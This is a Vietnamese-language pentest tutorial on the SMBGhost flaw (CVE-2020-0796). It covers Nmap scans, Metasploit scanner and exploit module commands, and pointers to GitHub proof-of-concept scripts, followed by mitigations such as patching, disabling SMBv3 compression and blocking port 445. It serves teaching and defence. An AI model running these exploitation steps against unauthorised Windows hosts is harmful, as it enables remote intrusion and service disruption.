Quét và Khai Thác Lỗi SMB 3 CVE-2020-0796
Hướng Dẫn Quét và Khai Thác Lỗ Hổng SMBv3 (CVE-2020-0796)
1. Lỗ Hổng CVE-2020-0796 Là Gì?
CVE-2020-0796, còn được gọi là SMBGhost, là một lỗ hổng nghiêm trọng trong giao thức SMBv3 (Server Message Block phiên bản 3). Lỗ hổng này ảnh hưởng đến hệ điều hành Windows và cho phép kẻ tấn công thực hiện:
- Remote Code Execution (RCE): Thực thi mã từ xa.
- Denial of Service (DoS): Tấn công làm gián đoạn dịch vụ.
Lỗ hổng này xuất hiện do cách Windows xử lý các gói nén SMBv3, cho phép khai thác hệ thống không được vá lỗi.
2. Điều Kiện Khai Thác
Hệ Thống Bị Ảnh Hưởng
- Windows 10: Phiên bản 1903 và 1909.
- Windows Server: Phiên bản 1903 và 1909.
Điều Kiện
- SMBv3 Compression phải được kích hoạt.
- Hệ thống chưa cài đặt bản vá từ Microsoft (KB4551762).
3. Quy Trình Quét và Khai Thác
3.1. Thu Thập Thông Tin và Quét Lỗ Hổng
Bước 1: Sử Dụng Nmap
Dùng Nmap để kiểm tra cổng SMB (445) và xác định lỗ hổng:
-
Quét cổng SMB:
nmap -p 445 --script smb-protocols
- Kết quả sẽ hiển thị phiên bản SMB đang hoạt động.
-
Dùng script kiểm tra lỗ hổng CVE-2020-0796:
nmap -p 445 --script smb-vuln-cve2020-0796
- Nếu hệ thống dễ bị tấn công, script sẽ hiển thị thông tin về lỗ hổng.
Bước 2: Sử Dụng Metasploit
- Mở Metasploit:
msfconsole
- Tìm module liên quan:
search smbghost
- Chọn module:
use auxiliary/scanner/smb/smbghost
- Cấu hình module:
set RHOSTS
set RPORT 445 run - Nếu lỗ hổng tồn tại, Metasploit sẽ thông báo.
3.2. Khai Thác Lỗ Hổng
Bước 1: Sử Dụng Exploit trong Metasploit
- Tìm module khai thác:
search smbghost
- Chọn module khai thác (nếu có):
use exploit/windows/smb/smbghost_rce
- Cấu hình:
set RHOST
set RPORT 445 - Khai thác:
exploit
- Nếu thành công, bạn sẽ có quyền truy cập vào hệ thống.
Bước 2: Sử Dụng Exploit Công Cụ
Nếu không dùng Metasploit, bạn có thể tải và chạy script khai thác:
-
Tải PoC từ GitHub:
- Tìm các PoC như SMBGhost-Exploit hoặc SMBPoC từ GitHub.
-
Chạy script:
- Yêu cầu Python 3:
python3 smbghost.py
- Yêu cầu Python 3:
4. Biện Pháp Phòng Chống
1. Cập Nhật Hệ Thống
- Cài đặt bản vá KB4551762 từ Microsoft để sửa lỗi.
2. Vô Hiệu Hóa SMBv3 Compression
- Mở PowerShell với quyền admin:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
3. Chặn Cổng SMB (445)
- Sử dụng tường lửa để chặn cổng 445 từ bên ngoài mạng.
4. Kiểm Tra Định Kỳ
- Thực hiện quét định kỳ với các công cụ như Nessus, Qualys hoặc OpenVAS để kiểm tra lỗ hổng.
5. Lưu Ý
-
Chỉ thử nghiệm trên hệ thống bạn được phép:
- Khai thác lỗ hổng trên hệ thống không được ủy quyền là bất hợp pháp.
-
Hiểu rõ rủi ro:
- Khai thác SMBGhost có thể làm gián đoạn hệ thống nếu không thực hiện đúng cách.
-
Tăng cường bảo mật:
- Sử dụng tường lửa, hệ thống IDS/IPS để phát hiện và ngăn chặn các hoạt động đáng ngờ.
6. Kết Luận
Lỗ hổng CVE-2020-0796 là một trong những lỗ hổng nghiêm trọng của Windows, dễ bị khai thác nếu không được vá lỗi. Thông qua việc sử dụng Nmap, Metasploit, hoặc các công cụ khác, bạn có thể phát hiện và khai thác lỗ hổng này trong môi trường Pentest. Tuy nhiên, hãy tuân thủ các quy định pháp luật và áp dụng biện pháp phòng chống để bảo vệ hệ thống khỏi các cuộc tấn công thực tế.